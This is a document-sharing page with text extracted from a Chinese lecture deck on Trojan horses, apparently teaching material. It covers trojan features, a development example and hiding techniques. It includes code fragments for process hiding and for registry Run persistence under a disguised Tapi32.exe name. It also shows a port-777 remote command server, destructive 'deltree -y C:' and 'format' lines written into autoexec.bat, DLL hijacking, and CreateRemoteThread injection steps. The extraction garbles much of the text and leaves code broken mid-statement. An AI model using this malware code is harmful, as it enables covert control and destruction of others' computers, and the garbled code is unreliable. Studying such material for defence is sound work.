《特洛伊木馬》PPT課件

上傳人:jun****875 文檔編號(hào):23940812 上傳時(shí)間:2021-06-13 格式:PPT 頁(yè)數(shù):83 大小:285.50KB
收藏 版權(quán)申訴 舉報(bào) 下載
《特洛伊木馬》PPT課件_第1頁(yè)
第1頁(yè) / 共83頁(yè)
《特洛伊木馬》PPT課件_第2頁(yè)
第2頁(yè) / 共83頁(yè)
《特洛伊木馬》PPT課件_第3頁(yè)
第3頁(yè) / 共83頁(yè)

下載文檔到電腦,查找使用更方便

14.9 積分

下載資源

還剩頁(yè)未讀,繼續(xù)閱讀

資源描述:

《《特洛伊木馬》PPT課件》由會(huì)員分享,可在線閱讀,更多相關(guān)《《特洛伊木馬》PPT課件(83頁(yè)珍藏版)》請(qǐng)?jiān)谘b配圖網(wǎng)上搜索。

1、一 種 特 殊 的 病 毒 特 洛 伊 木 馬( Trojan horse) 特 洛 伊 木 馬 電 影 圖 片 本 章 的 學(xué) 習(xí) 目 標(biāo) 掌 握 特 洛 伊 木 馬 的 概 念 了 解 木 馬 技 術(shù) 的 發(fā) 展 趨 勢(shì) 掌 握 木 馬 開 發(fā) 實(shí) 例 理 解 木 馬 的 關(guān) 鍵 技 術(shù) 掌 握 木 馬 攻 擊 的 方 法 掌 握 木 馬 防 范 方 法 章 節(jié) 主 要 內(nèi) 容 1 木 馬 的 概 述 2 木 馬 程 序 的 開 發(fā) 實(shí) 例 3 木 馬 程 序 的 關(guān) 鍵 技 術(shù) 4 木 馬 攻 擊 的 清 除 及 其 相 關(guān) 經(jīng) 驗(yàn) 5 木 馬 檢 測(cè) 及 清 除 代 碼 特 洛 伊 木

2、 馬 (Trojan Horse) 是 一 種 與 遠(yuǎn) 程 計(jì) 算 機(jī) 之 間 建 立 起 連 接 , 使 遠(yuǎn) 程計(jì) 算 機(jī) 能 夠 通 過(guò) 網(wǎng) 絡(luò) 控 制 用 戶 計(jì) 算 機(jī) 系 統(tǒng) 并 且可 能 造 成 用 戶 的 信 息 損 失 、 系 統(tǒng) 損 壞 甚 至 癱 瘓的 程 序 。 木 馬 的 組 成 硬 件 : 控 制 端 、 服 務(wù) 端 、 Internet 軟 件 : 控 制 端 程 序 、 木 馬 程 序 、 木 馬 配 置 程 序 連 接 : 控 制 、 服 務(wù) 端 IP, 控 制 、 服 務(wù) 端 Port 流 行 木 馬 的 基 本 特 征 1、 隱 蔽 性 是 其 首 要 的

3、特 征 木 馬 和 遠(yuǎn) 程 控 制 軟 件 的 最 主 要 區(qū) 別 不 產(chǎn) 生 圖 標(biāo) 不 出 現(xiàn) 在 任 務(wù) 管 理 器 中 。 2、 它 具 有 自 動(dòng) 運(yùn) 行 性 啟 動(dòng) 文 件 、 啟 動(dòng) 組 、 注 冊(cè) 表 3、 木 馬 程 序 具 有 欺 騙 性 名 字 方 式 : 字 母 “ l”與 數(shù) 字 “ 1”、 字 母 “ o”與 數(shù) 字 “ 0” 相 同 文 件 名 但 不 同 路 徑 常 用 圖 標(biāo) : Zip 4、 具 備 自 動(dòng) 恢 復(fù) 功 能 (高 級(jí) 技 術(shù) ) 5、 能 自 動(dòng) 打 開 特 別 的 端 口 6、 功 能 的 特 殊 性 搜 索 緩 存 中 的 口 令 、 設(shè)

4、 置 口 令 、 掃 描 目 標(biāo) 機(jī) 器 的 IP地 址 、進(jìn) 行 鍵 盤 記 錄 、 遠(yuǎn) 程 注 冊(cè) 表 的 操 作 、 以 及 鎖 定 鼠 標(biāo) 等功 能 7、 黑 客 組 織 趨 于 公 開 化 木 馬 的 分 類 1、 遠(yuǎn) 程 控 制 型 木 馬BO和 冰 河 2、 發(fā) 送 密 碼 型 木 馬 3、 鍵 盤 紀(jì) 錄 型 木 馬 4、 破 壞 型 木 馬 5、 FTP型 木 馬 遠(yuǎn) 程 控 制 、 木 馬 與 病 毒 木 馬 和 控 制 軟 件 目 的 不 同 有 些 木 馬 具 有 控 制 軟 件 的 所 有 功 能 是 否 隱 藏 木 馬 和 普 通 病 毒 傳 播 性 ( 木 馬 不

5、 如 病 毒 ) 兩 者 相 互 融 合 木 馬 程 序 YAI采 用 了 病 毒 技 術(shù) “ 紅 色 代 碼 ” 病 毒 已 經(jīng) 具 有 木 馬 的 遠(yuǎn) 程 控 制 功 能 木 馬 的 發(fā) 展 方 向 1、 跨 平 臺(tái) 性 2、 模 塊 化 設(shè) 計(jì) 3、 更 新 更 強(qiáng) 的 感 染 模 式 4、 即 時(shí) 通 知 5、 更 強(qiáng) 更 多 的 功 能 2 木 馬 程 序 的 開 發(fā) 實(shí) 例 編 程 語(yǔ) 言 選 擇 以 CSocket為 基 類 生 成 CMySocket類 。CMySocket類 的 功 能 是 用 來(lái) 使 本 程 序 變 成一 個(gè) 服 務(wù) 器 程 序 。 自 動(dòng) 隱 藏 / Wi

6、n9x隱 藏 技 術(shù) DWORD dwVersion = GetVersion(); / 得 到 操 作 系 統(tǒng) 的 版 本 號(hào) if (dwVersion = 0 x80000000) / 操 作 系 統(tǒng) 是 Win9x,不 是 WinNt typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD); /定 義 RegisterServiceProcess() 函 數(shù) 的 原 型 HINSTANCE hDLL; LPREGISTERSERVICEPROCESS lpRegisterServiceProcess; hDLL =

7、 LoadLibrary(KERNEL32.dll); /加 載 RegisterServiceProcess()函 數(shù) 所 在 的 動(dòng) 態(tài) 鏈 接 庫(kù) KERNEL32.DLL lpRegisterServiceProcess =(LPREGISTERSERVICEPROCESS)GetProcAddress( hDLL,RegisterServiceProcess); /得 到 RegisterServiceProcess()函 數(shù) 的 地 址 lpRegisterServiceProcess(GetCurrentProcessId(),1); /執(zhí) 行 RegisterServicePr

8、ocess()函 數(shù) ,隱 藏 本 進(jìn) 程 FreeLibrary(hDLL); /卸 載 動(dòng) 態(tài) 鏈 接 庫(kù) 用 RegisterServiceProcess函 數(shù)實(shí) 現(xiàn) 后 臺(tái) 服 務(wù) 進(jìn) 程 。 未 公 開 核 心 函 數(shù) Win NT 2K下 怎 么 實(shí) 現(xiàn) ? 自 動(dòng) 加 載 木 馬 的 第 一 次 執(zhí) 行 如 何 實(shí) 現(xiàn) 第 一 次 以 后 的 自 動(dòng) 加 載 ? 注 冊(cè) 表 代 碼 功 能 :HKLMSoftwareMicrosoftWindowsCurrentVersionRun%System%Tapi32 CopyFile( commandline, SystemPath+T

9、api32.exe, FALSE); /將 自 己 拷 貝 到 %System%目 錄 下 ,并 改 名 為 Tapi32.exe,偽 裝 起 來(lái) registry-Open(HKEY_LOCAL_MACHINE,SoftwareMicrosoftWindowsCurrentVersionRun); registry-QueryValue(TempPath,crossbow, registry-SetValue(SystemPath+Tapi32.exe, crossbow ); Server端 功 能 命 令 接 收 接 下 來(lái) 就 是 啟 動(dòng) Server端 的 Socket來(lái) 接 收 客

10、 戶 端 的 命 令 。 Port 777 核 心 代 碼 : pSocket-Receive( lpBuf, 1000); /接 收 客 戶 端 數(shù) 據(jù) if(strnicmp(lpBuf,CMD:,4) = 0) ExecuteCommand( lpBuf , FALSE); /執(zhí) 行 遠(yuǎn) 端 應(yīng) 用 程 序 else if(strnicmp(lpBuf,!SHUT,5) = 0) SendText( Exit program!, pSocket ); OnExit(); /退 出 木 馬 程 序 將 要 實(shí) 現(xiàn) 的 功 能 : CMD 執(zhí) 行 應(yīng) 用 程 序!SHUT 退 出 木 馬FI

11、LEGET 獲 得 遠(yuǎn) 端 文 件 EDITCONF 編 輯 配 置 文 件LIST 列 目 錄VIEW 察 看 文 件 內(nèi) 容CDOPEN 關(guān) CDCDCLOSE 開 CDREBOOT 重 啟 遠(yuǎn) 端 機(jī) 器 Server端 功 能 修 改 配 置 Autoexec.bat和 Config.sys 代 碼 :_chmod(c:autoexec.bat, S_IREAD | S_IWRITE);_chmod(c:config.sys, S_IREAD | S_IWRITE); fwrite(content,sizeof(char),strlen(content),fp);/寫 入 添 加 的

12、語(yǔ) 句 , 例 如 deltree -y C:或 者format q C: Server端 功 能 實(shí) 現(xiàn) list命 令 CFileFind finder; BOOL bWorking = finder.FindFile(*.*); while (bWorking) /循 環(huán) 得 到 下 一 層 文 件 或 目 錄 bWorking = finder.FindNextFile(); if ( finder.IsDots() | finder.IsDirectory() ) strResult = Dire: ; else strResult = File: ; strResult += fi

13、nder.GetFileName(); strResult += n; SendText( strResult, pSocket ); /返 回 Return_Text變 量 的 內(nèi) 容 Server端 功 能 實(shí) 現(xiàn) View命 令 int Read_Num=fread(temp_content, 1, 300, fp); /從 目 標(biāo) 文 件 中 讀 入 前 300個(gè) 字 符 while(Read_Num=300) strResult += (CString)temp_content; /strResult的 內(nèi) 容 加 上 剛 才 的 字 符 for(int i=0;iSend(void

14、 *)m_msg, m_msg.GetLength() ); 從 服 務(wù) 器 端 獲 取 反 饋 信 息 ReceiveResult(m_msg); 斷 開 Socket通 訊 的 代 碼 如 下 : m_ptrComSocket-Close(); 代 碼 及 演 示 下 列 問(wèn) 題 就 值 得 仔 細(xì) 考 慮 : 首 先 是 程 序 的 大 小 問(wèn) 題 ; 還 有 啟 動(dòng) 方 式 的 選 擇 ; 木 馬 的 功 能 還 可 以 大 大 擴(kuò) 充 ; 殺 掉 防 火 墻 和 殺 毒 軟 件 ; 針 對(duì) 來(lái) 自 反 匯 編 工 具 的 威 脅 ; 自 動(dòng) 卸 載 等 。 3 木 馬 程 序 的 關(guān)

15、 鍵 技 術(shù) 木 馬 程 序 技 術(shù) 發(fā) 展 的 4個(gè) 階 段 : 第 一 階 段 主 要 實(shí) 現(xiàn) 簡(jiǎn) 單 的 密 碼 竊 取 、 發(fā) 送 等 功 能 , 沒(méi) 有 什 么 特 別之 處 。 第 二 階 段 在 技 術(shù) 上 有 了 很 大 的 進(jìn) 步 , 主 要 體 現(xiàn) 在 隱 藏 、 控 制 等 方面 。 國(guó) 內(nèi) 冰 河 可 以 說(shuō) 是 這 個(gè) 階 段 的 典 型 代 表 之 一 。 第 三 階 段 在 數(shù) 據(jù) 傳 遞 技 術(shù) 上 做 了 不 小 的 改 進(jìn) , 出 現(xiàn) 了 基 于 ICMP協(xié)議 的 木 馬 , 這 種 木 馬 利 用 ICMP協(xié) 議 的 畸 形 報(bào) 文 傳 遞 數(shù) 據(jù) , 增

16、 加 了查 殺 的 難 度 。 第 四 階 段 在 進(jìn) 程 隱 藏 方 面 做 了 非 常 大 的 改 動(dòng) , 采 用 了 內(nèi) 核 插 入 式的 嵌 入 方 式 , 利 用 遠(yuǎn) 程 插 入 線 程 技 術(shù) 嵌 入 DLL線 程 , 或 者 掛 接PSAPI實(shí) 現(xiàn) 木 馬 程 序 的 隱 藏 。 即 使 在 Windows NT/2K下 , 這 些 技術(shù) 都 達(dá) 到 了 良 好 的 隱 藏 效 果 。 相 信 , 第 五 代 木 馬 的 技 術(shù) 更 加 先 進(jìn) 。 Socket技 術(shù) 客 戶 機(jī) 請(qǐng) 求 響 應(yīng) 進(jìn) 程 通 訊 設(shè) 施 服 務(wù) 器 請(qǐng) 求 響 應(yīng) 服 務(wù) 器 socket( )

17、bind( ) readfrom( ) sendto( ) 阻 塞 , 等 待 客 戶 數(shù) 據(jù) 處 理 服 務(wù) 請(qǐng) 求 socket( ) bind( ) sendto( ) readfrom( ) 客 戶 機(jī) 服 務(wù) 請(qǐng) 求 服 務(wù) 應(yīng) 答 無(wú) 連 接 套 接 應(yīng) 用 程 序 時(shí) 序 圖 close( ) close( ) 服 務(wù) 器 socket( ) bind( ) listen( ) 阻 塞 , 等 待 客 戶 數(shù) 據(jù) 處 理 服 務(wù) 請(qǐng) 求 socket( ) connect( ) write( ) 客 戶 機(jī) 請(qǐng) 求 數(shù) 據(jù) 應(yīng) 答 數(shù) 據(jù) 面 向 連 接 套 接 應(yīng) 用 程 序

18、時(shí) 序 圖 read( ) read( ) accept( ) write( ) 建 立 連 接 close( ) close( ) 重 要 的 系 統(tǒng) 文 件 win.ini文 件 中 的 啟 動(dòng) 加 載 項(xiàng) : windwos段中 有 如 下 加 載 項(xiàng) :run=Load= system.ini中 的 啟 動(dòng) 加 載 項(xiàng) : 在 BOOT子 項(xiàng)中 的 “ Shell”項(xiàng) :shell= 修 改 注 冊(cè) 表 HKEY_CLASSES_ROOT: 此 處 存 儲(chǔ) 的 信 息 可 以 確 保 當(dāng)使 用 Windows資 源 管 理 器 打 開 文 件 時(shí) , 將 使 用 正 確 的 應(yīng) 用程

19、序 打 開 對(duì) 應(yīng) 的 文 件 類 型 。 HKEY_CURRENT_USER: 存 放 當(dāng) 前 登 錄 用 戶 的 有 關(guān) 信息 。 用 戶 文 件 夾 、 屏 幕 顏 色 和 “ 控 制 面 板 ” 設(shè) 置 存 儲(chǔ) 在 此處 。 該 信 息 被 稱 為 用 戶 配 置 文 件 。 HKEY_LOCAL_MACHINE: 包 含 針 對(duì) 該 計(jì) 算 機(jī) ( 對(duì) 于 任何 用 戶 ) 的 配 置 信 息 。 HKEY_USERS: 存 放 計(jì) 算 機(jī) 上 所 有 用 戶 的 配 置 文 件 。 HKEY_CURRENT_CONFIG: 包 含 本 地 計(jì) 算 機(jī) 在 系 統(tǒng) 啟動(dòng) 時(shí) 所 用

20、的 硬 件 配 置 文 件 信 息 。 HKEY_DYN_DATA: 記 錄 系 統(tǒng) 運(yùn) 行 時(shí) 刻 的 狀 態(tài) 。 (Run), (RunOnce), (RunOnceEx), (RunServices), (RunServicesOnce) 20多 個(gè) API函 數(shù) 修 改 文 件 關(guān) 聯(lián) 當(dāng) 你 打 開 了 一 個(gè) 已 修 改 了 打 開 關(guān) 聯(lián) 的 文 件時(shí) , 木 馬 也 就 開 始 了 它 的 運(yùn) 作 。 選 擇 文 件 格 式 中 的 “ 打 開 ” 、 “ 編 輯 ” 、“ 打 印 ” 項(xiàng) 目 。 例 如 冰 河 木 馬 病 毒HKEY_CLASSES_ROOTtxtfiles

21、hellopencommand中 的 鍵 值 “ c:windowsnotepad.exe %1”, 改 為 “ sysexplr.exe %1”。 遠(yuǎn) 程 屏 幕 抓 取 如 果 鍵 盤 和 鼠 標(biāo) 事 件 記 錄 不 能 滿 意 時(shí) , 需 要 抓 取 被 控 制 端 屏 幕 , 形 成 一 個(gè) 位 圖 文件 , 然 后 把 該 文 件 發(fā) 送 到 控 制 端 計(jì) 算 機(jī) 顯示 出 來(lái) 。 輸 入 設(shè) 備 控 制 通 過(guò) 網(wǎng) 絡(luò) 控 制 目 標(biāo) 機(jī) 的 鼠 標(biāo) 和 鍵 盤 , 以 達(dá)到 模 擬 鼠 標(biāo) 和 鍵 盤 的 功 能 。 使 用 技 術(shù) : Keybd_event, mouse_e

22、vent /模 擬 A鍵 按 鍵 過(guò) 程 keybd_event(65,0,0,0); keybd_event(65,0,KEYEVENTF_KEYUP,0); /模 擬 按 下 左 鍵 GetCursorPos( SetCursorPos(lpPoint.x, lpPoint.y); mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0); mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0); 遠(yuǎn) 程 文 件 管 理 操 作 目 標(biāo) 機(jī) 文 件 的 方 式 通 常 有 兩 種 : 一 種 是 共 享 目 標(biāo) 機(jī) 的 硬 盤 , 進(jìn) 行

23、任 意 的 文 件 操 作 ; 另 一 種 是 把 自 己 的 計(jì) 算 機(jī) 配 置 為 FTP( File Transfer Protocol, 文 件 傳 輸 協(xié) 議 ) 服 務(wù) 器 。 使 用 函 數(shù) CInternetSession GetFtpConnection GetFile PutFile 共 享 硬 盤 數(shù) 據(jù) Windows 2000/NT/XP: HKEY_LOCAL_MACHINESYSTEMControlSet001ServiceslanmanserverShares Windows 9x: HKEY_LOCAL_MACHINESoftwareMicrosoftWind

24、owsCurrentVersionNetworkLanMan Flags /類 型 Path /目 錄 Remark /備 注 Type Parm1enc Parm2enc 隱 藏 技 術(shù) 反 彈 式 木 馬 技 術(shù) 定 義 : 利 用 防 火 墻 對(duì) 內(nèi) 部 發(fā) 起 的 連 接 請(qǐng) 求 無(wú) 條 件 信 任的 特 點(diǎn) , 假 冒 是 系 統(tǒng) 的 合 法 網(wǎng) 絡(luò) 請(qǐng) 求 來(lái) 取 得 對(duì)外 的 端 口 , 再 通 過(guò) 某 些 方 式 連 接 到 木 馬 的 客 戶端 , 從 而 竊 取 用 戶 計(jì) 算 機(jī) 的 資 料 同 時(shí) 遙 控 計(jì) 算機(jī) 本 身 。 反 彈 式 木 馬 訪 問(wèn) 客 戶 端 的

25、 80端 口 , 防 火 墻 無(wú) 法 限 制 。 例 如 , “ 網(wǎng) 絡(luò) 神 偷 ” 防 范 : 使 用 個(gè) 人 防 火 墻 , 其 采 用 獨(dú) 特 的 “ 內(nèi) 墻 ” 方 式 應(yīng) 用程 序 訪 問(wèn) 網(wǎng) 絡(luò) 規(guī) 則 。 隱 藏 技 術(shù) 用 ICMP方 法 隱 藏 連 接 TCP UDP木 馬 的 弱 點(diǎn) : 等 待 和 運(yùn) 行 的 過(guò) 程 中 , 始 終 有 一個(gè) 和 外 界 聯(lián) 系 的 端 口 打 開 著 。 原 理 : 由 于 ICMP報(bào) 文 是 由 系 統(tǒng) 內(nèi) 核 或 進(jìn) 程 直 接 處 理 而 不 是 通 過(guò) 端 口 , 這就 給 木 馬 一 個(gè) 擺 脫 端 口 的 絕 好 機(jī) 會(huì) 。

26、 木 馬 將 自 己 偽 裝 成 一 個(gè) Ping的 進(jìn) 程 , 系 統(tǒng) 就 會(huì) 將ICMP_ECHOREPLY( Ping的 回 包 ) 的 監(jiān) 聽(tīng) 、 處 理 權(quán) 交 給 木 馬 進(jìn)程 。 一 旦 事 先 約 定 好 的 ICMP_ECHOREPLY包 出 現(xiàn) ( 可 以 判 斷 包 大 小 、ICMP_SEQ等 特 征 ) , 木 馬 就 會(huì) 接 受 、 分 析 并 從 報(bào) 文 中 解 碼 出 命令 和 數(shù) 據(jù) 。 即 使 防 火 墻 過(guò) 濾 ICMP報(bào) 文 , 一 般 也 不 過(guò) 率 ICMP_ECHOREPLY包 , 否 則 就 不 能 進(jìn) 行 Ping操 作 了 。 因 此 , 具

27、 有 對(duì) 于 防 火 墻 和 網(wǎng) 關(guān) 的 穿透 能 力 。 隱 藏 技 術(shù) 隱 藏 端 口 為 了 隱 藏 端 口 , 采 用 兩 種 思 路 : 寄 生 和 潛 伏 寄 生 就 是 找 一 個(gè) 已 經(jīng) 打 開 的 端 口 , 寄 生 其 上 , 平時(shí) 只 是 監(jiān) 聽(tīng) , 遇 到 特 殊 的 指 令 就 進(jìn) 行 解 釋 執(zhí) 行 。 潛 伏 是 說(shuō) 使 用 IP協(xié) 議 族 中 的 其 它 協(xié) 議 而 不 是 TCP或 UDP來(lái) 進(jìn) 行 通 訊 , 從 而 瞞 過(guò) Netstat和 端 口 掃 描軟 件 。 一 種 比 較 常 見(jiàn) 的 潛 伏 手 段 是 使 用 ICMP協(xié) 議 。 其 他 方 法

28、 : 對(duì) 網(wǎng) 卡 或 Modem進(jìn) 行 底 層 的 編 程 。 隱 藏 技 術(shù) NT進(jìn) 程 的 隱 藏 進(jìn) 程 和 端 口 聯(lián) 系 在 一 起 的 方 法 很 常 見(jiàn) 。 因此 , 需 要 隱 藏 進(jìn) 程 來(lái) 達(dá) 到 隱 藏 木 馬 的 目 的 。 實(shí) 現(xiàn) 進(jìn) 程 隱 藏 有 兩 種 思 路 : 第 一 是 讓 系 統(tǒng) 管 理 員 看 不 見(jiàn) ( 或 者 視 而 不 見(jiàn) )你 的 進(jìn) 程 ; 第 二 是 不 使 用 進(jìn) 程 。 能 否 使 用 第 一 種 方 式 ? 在 Windows中 有 多 種 方 法 能 夠 看 到 進(jìn) 程 的 存 在 : PSAPI( Process Status A

29、PI) ; PDH( Performance Data Helper) ; ToolHelp API。 如 果 我 們 能 夠 欺 騙 用 戶 和 入 侵 檢 測(cè) 軟 件 用 來(lái) 查 看 進(jìn) 程 的 函數(shù) ( 例 如 截 獲 相 應(yīng) 的 API調(diào) 用 , 替 換 返 回 的 數(shù) 據(jù) ) , 我 們就 完 全 能 實(shí) 現(xiàn) 進(jìn) 程 隱 藏 。 但 是 存 在 兩 個(gè) 難 題 : 一 來(lái) 我 們 并 不 知 道 用 戶 和 入 侵 軟 件 使 用 的 是 什 么 方 法 來(lái) 查 看 進(jìn) 程列 表 ; 二 來(lái) 如 果 我 們 有 權(quán) 限 和 技 術(shù) 實(shí) 現(xiàn) 這 樣 的 欺 騙 , 我 們 就 一 定

30、能 使 用其 它 的 方 法 更 容 易 的 實(shí) 現(xiàn) 進(jìn) 程 的 隱 藏 。 使 用 第 二 種 方 式 最 流 行 。 DLL是 Windows系 統(tǒng) 的 另 一 種 “ 可 執(zhí) 行 文 件 ” 。 DLL文 件是 Windows的 基 礎(chǔ) , 因 為 所 有 的 API函 數(shù) 都 是 在 DLL中 實(shí)現(xiàn) 的 。 DLL文 件 沒(méi) 有 程 序 邏 輯 , 是 由 多 個(gè) 功 能 函 數(shù) 構(gòu) 成 ,它 并 不 能 獨(dú) 立 運(yùn) 行 , 一 般 都 是 由 進(jìn) 程 加 載 并 調(diào) 用 的 。 假 設(shè) 我 們 編 寫 了 一 個(gè) 木 馬 DLL, 并 且 通 過(guò) 別 的 進(jìn) 程 來(lái) 運(yùn) 行它 , 那

31、 么 無(wú) 論 是 入 侵 檢 測(cè) 軟 件 還 是 進(jìn) 程 列 表 中 , 都 只 會(huì) 出現(xiàn) 那 個(gè) 進(jìn) 程 而 并 不 會(huì) 出 現(xiàn) 木 馬 DLL, 如 果 那 個(gè) 進(jìn) 程 是 可 信進(jìn) 程 , ( 例 如 資 源 管 理 器 Explorer.exe, 沒(méi) 人 會(huì) 懷 疑 它 是木 馬 吧 ? ) 那 么 我 們 編 寫 的 DLL作 為 那 個(gè) 進(jìn) 程 的 一 部 分 ,也 將 成 為 被 信 賴 的 一 員 而 為 所 欲 為 。 用 DLL實(shí) 現(xiàn) 木 馬 功 能用 DLL實(shí) 現(xiàn) 木 馬 功 能 , 然 后 , 用 其 他 程 序 啟動(dòng) 該 DLL. 有 三 種 方 式 : 最 簡(jiǎn) 單

32、的 方 式 RUNDLL32 特 洛 伊 DLL 線 程 插 入 技 術(shù) 最 簡(jiǎn) 單 的 方 式 RUNDLL32Rundll32 DllFileName FuncNameRundll32.exe MyDll.dll MyFunc 程 序 演 示 (參 見(jiàn) : .othercodetestdll) 比 較 高 級(jí) 的 方 式 特 洛 伊 DLL 特 洛 伊 DLL( 欺 騙 DLL) 的 工 作 原 理 是 使 用 欺 騙 DLL替 換 常 用 的DLL文 件 , 通 過(guò) 函 數(shù) 轉(zhuǎn) 發(fā) 器 將 正 常 的 調(diào) 用 轉(zhuǎn) 發(fā) 給 原 DLL, 截 獲 并 處理 特 定 的 消 息 。 函 數(shù) 轉(zhuǎn)

33、 發(fā) 器 forward的 認(rèn) 識(shí) 。 Visual Studio 7命 令 提 示 符 dumpBin -Exports c:windowssystem32Kernel32.dll | more 演 示 程 序 實(shí) 現(xiàn) / Function forwarders to functions in DllWork #pragma comment(linker, /export:ForwardFunc=Kernel32.HeapCreate) 演 示 ( 參 見(jiàn) : .othercodetestdll源 代 碼 ) 實(shí) 現(xiàn) 描 述 我 們 知 道 WINDOWS的 Socket1.x的 函 數(shù) 都

34、 是 存放 在 wsock32.dll中 的 , 那 么 我 們 自 己 寫 一 個(gè)wsock32.dll文 件 , 替 換 掉 原 先 的 wsock32.dll( 將 原 先 的 DLL文 件 重 命 名 為 wsockold.dll) 我們 的 wsock32.dll只 做 兩 件 事 , 一 是 如 果 遇 到 不認(rèn) 識(shí) 的 調(diào) 用 , 就 直 接 轉(zhuǎn) 發(fā) 給 wsockold.dll( 使 用函 數(shù) 轉(zhuǎn) 發(fā) 器 forward) ; 二 是 遇 到 特 殊 的 請(qǐng) 求( 事 先 約 定 的 ) 就 解 碼 并 處 理 。 特 洛 伊 DLL的 弱 點(diǎn) : system32目 錄 下

35、有 一 個(gè) dllcache的 目 錄 , 這 個(gè) 目 錄 中 存放 著 大 量 的 DLL文 件 , 一 旦 操 作 系 統(tǒng) 發(fā) 現(xiàn) 被 保 護(hù) 的 DLL文 件 被 篡 改 ( 數(shù) 字 簽 名 技 術(shù) ) , 它 就 會(huì) 自 動(dòng) 從 dllcache中 恢 復(fù) 這 個(gè) 文 件 。 有 些 方 法 可 以 繞 過(guò) dllcache的 保 護(hù) : 先 更 改 dllcache目 錄 中 的 備 份 再 修 改 DLL文 件 利 用 KnownDLLs鍵 值 更 改 DLL的 默 認(rèn) 啟 動(dòng) 路 徑 等 同 時(shí) 特 洛 伊 DLL方 法 本 身 也 有 一 些 漏 洞 ( 例 如 修 復(fù) 安 裝

36、 、安 裝 補(bǔ) 丁 、 升 級(jí) 系 統(tǒng) 、 檢 查 數(shù) 字 簽 名 等 方 法 都 有 可 能導(dǎo) 致 特 洛 伊 DLL失 效 ) , 所 以 這 個(gè) 方 法 也 不 能 算 是 DLL木 馬 的 最 優(yōu) 選 擇 。 最 高 級(jí) 方 式 動(dòng) 態(tài) 嵌 入 技 術(shù)DLL木 馬 的 最 高 境 界 是 動(dòng) 態(tài) 嵌 入 技 術(shù) , 動(dòng) 態(tài) 嵌入 技 術(shù) 指 的 是 將 自 己 的 代 碼 嵌 入 正 在 運(yùn) 行 的 進(jìn)程 中 的 技 術(shù) 。 多 種 嵌 入 方 式 : 窗 口 Hook、 掛接 API、 遠(yuǎn) 程 線 程 。 隱 藏 技 術(shù) 遠(yuǎn) 程 線 程 技 術(shù) 遠(yuǎn) 程 線 程 技 術(shù) 指 的 是 通

37、 過(guò) 在 另 一 個(gè) 進(jìn) 程 中創(chuàng) 建 遠(yuǎn) 程 線 程 的 方 法 進(jìn) 入 那 個(gè) 進(jìn) 程 的 內(nèi) 存地 址 空 間 。 通 過(guò) CreateRemoteThread也 同 樣 可 以 在 另一 個(gè) 進(jìn) 程 內(nèi) 創(chuàng) 建 新 線 程 , 新 線 程 同 樣 可 以共 享 遠(yuǎn) 程 進(jìn) 程 的 地 址 空 間 。 HANDLE CreateRemoteThread( HANDLE hProcess,PSECURITY_ATTRIBUTES psa, DWORD dwStackSize,PTHREAD_START_ROUTINE pfnStartAddr,PVOID pvParam, DWORD fd

38、wCreate,PDWORD pdwThreadId); 一 個(gè) 地 址 DWORD WINAPI ThreadFunc(PVOID pvParam); HINSTANCE LoadLibrary(PCTSTR pszLibFile); 兩 個(gè) 函 數(shù) 非 常 類 似 需 解 決 的 問(wèn) 題 : 第 一 個(gè) 問(wèn) 題 , 獲 取 LoadLibrary的 實(shí) 際 地 址 。 PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle(TEXT(Kernel32), Load

39、LibraryA); 第 二 個(gè) 問(wèn) 題 , 把 D L L路 徑 名 字 符 串 放 入 宿 主 進(jìn) 程 。 使用 : VirtualAllocEx, VirtualFreeEx , ReadProcessMemory ,WriteProcessMemory 等 函 數(shù) 。 操 作 步 驟 做 一 個(gè) 歸 納 : 1) 使 用 Vi r t u a l A l l o c E x函 數(shù) , 分 配 遠(yuǎn) 程 進(jìn) 程 的 地 址空 間 中 的 內(nèi) 存 。 2) 使 用 Wr i t e P r o c e s s M e m o r y函 數(shù) , 將 D L L的路 徑 名 拷 貝 到 第 一

40、個(gè) 步 驟 中 已 經(jīng) 分 配 的 內(nèi) 存 中 。 3) 使 用 G e t P r o c A d d r e s s函 數(shù) , 獲 取 L o a d L i b r a r y A或 L o a d L i b r a t y W函 數(shù) 的 實(shí) 地 址 ( 在 K e r n e l 3 2 . d l l中 ) 。 4) 使 用 C r e a t e R e m o t e T h r e a d函 數(shù) , 在 遠(yuǎn) 程 進(jìn)程 中 創(chuàng) 建 一 個(gè) 線 程 , 它 調(diào) 用 正 確 的 L o a d L i b r a r y函 數(shù) ,為 它 傳 遞 第 一 個(gè) 步 驟 中 分 配 的

41、內(nèi) 存 的 地 址 。 5) 使 用 Vi r t u a l F r e e E x函 數(shù) , 釋 放 第 一 個(gè) 步驟 中 分 配 的 內(nèi) 存 。 6) 使 用 G e t P r o c A d d r e s s函 數(shù) , 獲 得 F r e e L i b r a r y函 數(shù) 的 實(shí) 地 址 ( 在 K e r n e l 3 2 . d l l中 ) 。 7) 使 用 C r e a t e R e m o t e T h r e a d函 數(shù) , 在遠(yuǎn) 程 進(jìn) 程 中 創(chuàng) 建 一 個(gè) 線 程 , 它 調(diào) 用 F r e e L i b r a r y函 數(shù) , 傳 遞 遠(yuǎn) 程

42、D L L的 H I N S TA N C E。 看 代 碼 及 演 示 ( 參 見(jiàn) : . othercodeinjlib 和 Imgwalk) 服 務(wù) 器 端 程 序 的 包 裝 與 加 密 一 個(gè) 試 驗(yàn) : text.txt, 其 內(nèi) 容 為 “ This is for test!” C:type text.txtTest.exe 運(yùn) 行 Test.exe 演 示 ( 參 見(jiàn) : .othercoebindexe) 木 馬 會(huì) 把 一 些 配 置 信 息 放 在 exe文 件 的 最 后 。例 如 , 冰 河 木 馬 4 木 馬 攻 擊 的 方 法 及 相 關(guān) 經(jīng) 驗(yàn) 1 木 馬 病

